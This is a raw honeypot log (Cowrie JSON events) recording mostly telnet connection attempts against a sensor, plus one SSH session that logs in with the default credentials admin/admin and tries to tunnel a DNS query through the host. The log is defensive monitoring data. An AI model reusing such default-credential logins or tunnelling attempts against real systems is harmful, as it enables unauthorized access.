{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":54646,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b1d335ffa39","protocol":"telnet","message":"New connection: 104.248.46.74:54646 (10.17.0.5:23) [session: 6b1d335ffa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:10.217161Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58324,"dst_ip":"10.17.0.5","dst_port":23,"session":"603f32905c04","protocol":"telnet","message":"New connection: 160.187.180.68:58324 (10.17.0.5:23) [session: 603f32905c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:10.787686Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":58300,"dst_ip":"10.17.0.5","dst_port":23,"session":"c66720c93058","protocol":"telnet","message":"New connection: 167.71.198.239:58300 (10.17.0.5:23) [session: c66720c93058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:11.553784Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":55090,"dst_ip":"10.17.0.5","dst_port":23,"session":"976ffae8fae1","protocol":"telnet","message":"New connection: 104.248.46.74:55090 (10.17.0.5:23) [session: 976ffae8fae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:12.256267Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":58520,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4289dd54e8e","protocol":"telnet","message":"New connection: 167.71.198.239:58520 (10.17.0.5:23) [session: d4289dd54e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:12.690941Z"}
{"eventid":"cowrie.session.closed","duration":30.882018566131592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:13.088223Z","src_ip":"104.248.46.74","session":"fe73aec25ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882370710372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:13.092401Z","src_ip":"104.248.46.74","session":"e9fc2d8cd83d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.569024324417114,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:13.325741Z","src_ip":"66.132.186.174","session":"e8586d0daf9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58326,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c575de33fc","protocol":"telnet","message":"New connection: 160.187.180.68:58326 (10.17.0.5:23) [session: 42c575de33fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:13.701057Z"}
{"eventid":"cowrie.session.closed","duration":30.87927222251892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:14.114037Z","src_ip":"104.248.46.74","session":"cfe5346ded14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9344584941864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:14.154936Z","src_ip":"104.248.46.74","session":"014ba63f0e55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58328,"dst_ip":"10.17.0.5","dst_port":23,"session":"72428ddd69d2","protocol":"telnet","message":"New connection: 160.187.180.68:58328 (10.17.0.5:23) [session: 72428ddd69d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:14.782934Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":59246,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d524703921f","protocol":"telnet","message":"New connection: 167.71.198.239:59246 (10.17.0.5:23) [session: 0d524703921f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:15.760268Z"}
{"eventid":"cowrie.session.closed","duration":30.516733169555664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:16.159889Z","src_ip":"167.71.198.239","session":"01f198af071b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56790,"dst_ip":"10.17.0.5","dst_port":23,"session":"1695b7905989","protocol":"telnet","message":"New connection: 185.26.126.47:56790 (10.17.0.5:23) [session: 1695b7905989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:16.184579Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58330,"dst_ip":"10.17.0.5","dst_port":23,"session":"4782296ddd4f","protocol":"telnet","message":"New connection: 160.187.180.68:58330 (10.17.0.5:23) [session: 4782296ddd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:16.604752Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":33286,"dst_ip":"10.17.0.5","dst_port":23,"session":"49e9d5038db4","protocol":"telnet","message":"New connection: 62.77.140.101:33286 (10.17.0.5:23) [session: 49e9d5038db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:17.427596Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58332,"dst_ip":"10.17.0.5","dst_port":23,"session":"4feafae3ced7","protocol":"telnet","message":"New connection: 160.187.180.68:58332 (10.17.0.5:23) [session: 4feafae3ced7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:17.598460Z"}
{"eventid":"cowrie.session.closed","duration":30.72827124595642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:18.074441Z","src_ip":"104.248.46.74","session":"48d3d23f1e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58334,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f83296daeb","protocol":"telnet","message":"New connection: 160.187.180.68:58334 (10.17.0.5:23) [session: b2f83296daeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:18.207754Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58336,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd074f47ae7b","protocol":"telnet","message":"New connection: 160.187.180.68:58336 (10.17.0.5:23) [session: fd074f47ae7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:18.662941Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":45974,"dst_ip":"10.17.0.5","dst_port":23,"session":"575625aba034","protocol":"telnet","message":"New connection: 77.72.5.107:45974 (10.17.0.5:23) [session: 575625aba034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:19.199386Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58338,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f94bded6b2","protocol":"telnet","message":"New connection: 160.187.180.68:58338 (10.17.0.5:23) [session: 27f94bded6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:19.601868Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":59946,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eaf1bf0f2b7","protocol":"telnet","message":"New connection: 167.71.198.239:59946 (10.17.0.5:23) [session: 1eaf1bf0f2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:19.633512Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":59956,"dst_ip":"10.17.0.5","dst_port":23,"session":"b41335855265","protocol":"telnet","message":"New connection: 167.71.198.239:59956 (10.17.0.5:23) [session: b41335855265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:19.743182Z"}
{"eventid":"cowrie.session.closed","duration":30.840415716171265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:20.087564Z","src_ip":"104.248.46.74","session":"55b2a244891b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":51454,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd66c95d02c8","protocol":"telnet","message":"New connection: 138.197.5.236:51454 (10.17.0.5:23) [session: cd66c95d02c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:21.011129Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58458,"dst_ip":"10.17.0.5","dst_port":23,"session":"262bf527f331","protocol":"telnet","message":"New connection: 185.26.126.47:58458 (10.17.0.5:23) [session: 262bf527f331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:21.207306Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58476,"dst_ip":"10.17.0.5","dst_port":23,"session":"293309fabd2b","protocol":"telnet","message":"New connection: 185.26.126.47:58476 (10.17.0.5:23) [session: 293309fabd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:21.229409Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":46668,"dst_ip":"10.17.0.5","dst_port":23,"session":"a445146812da","protocol":"telnet","message":"New connection: 77.72.5.107:46668 (10.17.0.5:23) [session: a445146812da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:22.219480Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58340,"dst_ip":"10.17.0.5","dst_port":23,"session":"e64869d51c1b","protocol":"telnet","message":"New connection: 160.187.180.68:58340 (10.17.0.5:23) [session: e64869d51c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:22.599261Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":51828,"dst_ip":"10.17.0.5","dst_port":23,"session":"945f6860e27e","protocol":"telnet","message":"New connection: 138.197.5.236:51828 (10.17.0.5:23) [session: 945f6860e27e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:22.792565Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58342,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d6bb5a1c1f","protocol":"telnet","message":"New connection: 160.187.180.68:58342 (10.17.0.5:23) [session: a4d6bb5a1c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:22.827457Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":51898,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34e25f276f0","protocol":"telnet","message":"New connection: 138.197.5.236:51898 (10.17.0.5:23) [session: d34e25f276f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:23.058382Z"}
{"eventid":"cowrie.session.closed","duration":30.50542950630188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:23.142963Z","src_ip":"167.71.198.239","session":"887139e34b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":33288,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bc16e31c05a","protocol":"telnet","message":"New connection: 62.77.140.101:33288 (10.17.0.5:23) [session: 1bc16e31c05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:23.335177Z"}
{"eventid":"cowrie.session.closed","duration":30.764882564544678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:24.061095Z","src_ip":"104.248.46.74","session":"0dde80247c93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58344,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7f256d0b048","protocol":"telnet","message":"New connection: 160.187.180.68:58344 (10.17.0.5:23) [session: f7f256d0b048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:24.281993Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58346,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d09d9325fb1","protocol":"telnet","message":"New connection: 160.187.180.68:58346 (10.17.0.5:23) [session: 9d09d9325fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:24.625090Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58348,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fada5c2caf9","protocol":"telnet","message":"New connection: 160.187.180.68:58348 (10.17.0.5:23) [session: 8fada5c2caf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:25.123237Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59814,"dst_ip":"10.17.0.5","dst_port":23,"session":"c85c1ea1c263","protocol":"telnet","message":"New connection: 185.26.126.47:59814 (10.17.0.5:23) [session: c85c1ea1c263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:25.151572Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59826,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ed320aa76b","protocol":"telnet","message":"New connection: 185.26.126.47:59826 (10.17.0.5:23) [session: 90ed320aa76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:25.203785Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":60796,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef9b2da7e644","protocol":"telnet","message":"New connection: 167.71.198.239:60796 (10.17.0.5:23) [session: ef9b2da7e644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:25.677895Z"}
{"eventid":"cowrie.session.closed","duration":30.84164571762085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:26.052760Z","src_ip":"104.248.46.74","session":"1009466981a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60146,"dst_ip":"10.17.0.5","dst_port":23,"session":"49398e6a6560","protocol":"telnet","message":"New connection: 185.26.126.47:60146 (10.17.0.5:23) [session: 49398e6a6560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:26.639472Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":36872,"dst_ip":"10.17.0.5","dst_port":23,"session":"79064801f223","protocol":"telnet","message":"New connection: 107.152.33.170:36872 (10.17.0.5:23) [session: 79064801f223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:27.091938Z"}
{"eventid":"cowrie.session.closed","duration":30.809955835342407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:28.076773Z","src_ip":"77.72.5.107","session":"0f7f455a0831","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60488,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7fd95603162","protocol":"telnet","message":"New connection: 185.26.126.47:60488 (10.17.0.5:23) [session: b7fd95603162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:28.166626Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58350,"dst_ip":"10.17.0.5","dst_port":23,"session":"011617871046","protocol":"telnet","message":"New connection: 160.187.180.68:58350 (10.17.0.5:23) [session: 011617871046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:28.589523Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60704,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c522b49244d","protocol":"telnet","message":"New connection: 185.26.126.47:60704 (10.17.0.5:23) [session: 0c522b49244d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:29.161505Z"}
{"eventid":"cowrie.session.closed","duration":30.96505093574524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:29.166369Z","src_ip":"185.26.126.47","session":"d019cba240af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":55602,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d8982a708b","protocol":"telnet","message":"New connection: 62.77.140.101:55602 (10.17.0.5:23) [session: 33d8982a708b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:29.346987Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58352,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9b0023af8f7","protocol":"telnet","message":"New connection: 160.187.180.68:58352 (10.17.0.5:23) [session: a9b0023af8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:29.588428Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58354,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa76fe9bbae","protocol":"telnet","message":"New connection: 160.187.180.68:58354 (10.17.0.5:23) [session: caa76fe9bbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:29.928349Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53282,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f163f98cf1c","protocol":"telnet","message":"New connection: 138.197.5.236:53282 (10.17.0.5:23) [session: 8f163f98cf1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:30.029345Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53294,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ffa109088b0","protocol":"telnet","message":"New connection: 138.197.5.236:53294 (10.17.0.5:23) [session: 3ffa109088b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:30.123727Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":48600,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d3957137b89","protocol":"telnet","message":"New connection: 77.72.5.107:48600 (10.17.0.5:23) [session: 1d3957137b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:30.284087Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58356,"dst_ip":"10.17.0.5","dst_port":23,"session":"132fc772fdcc","protocol":"telnet","message":"New connection: 160.187.180.68:58356 (10.17.0.5:23) [session: 132fc772fdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:30.293564Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":35066,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7bcdc6b522","protocol":"telnet","message":"New connection: 80.252.221.197:35066 (10.17.0.5:23) [session: fb7bcdc6b522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:30.459825Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47474,"dst_ip":"10.17.0.5","dst_port":22,"session":"01dcfa09283e","protocol":"ssh","message":"New connection: 87.251.64.176:47474 (10.17.0.5:22) [session: 01dcfa09283e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:31.345585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:31.350023Z","src_ip":"87.251.64.176","session":"01dcfa09283e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:31.446570Z","src_ip":"87.251.64.176","session":"01dcfa09283e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58358,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32dc116741e","protocol":"telnet","message":"New connection: 160.187.180.68:58358 (10.17.0.5:23) [session: a32dc116741e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:31.581532Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:31.739313Z","src_ip":"87.251.64.176","session":"01dcfa09283e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:31.838151Z","session":"01dcfa09283e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:31.940000Z","src_ip":"87.251.64.176","session":"01dcfa09283e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.878671646118164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:32.116237Z","src_ip":"77.72.5.107","session":"84e7aa534cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536311864852905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:32.153049Z","src_ip":"167.71.198.239","session":"5eab0e174d35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:32.173861Z","src_ip":"87.251.64.176","session":"01dcfa09283e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58360,"dst_ip":"10.17.0.5","dst_port":23,"session":"d74804c293c7","protocol":"telnet","message":"New connection: 160.187.180.68:58360 (10.17.0.5:23) [session: d74804c293c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:32.579558Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53732,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d2735838fde","protocol":"telnet","message":"New connection: 138.197.5.236:53732 (10.17.0.5:23) [session: 7d2735838fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:33.052452Z"}
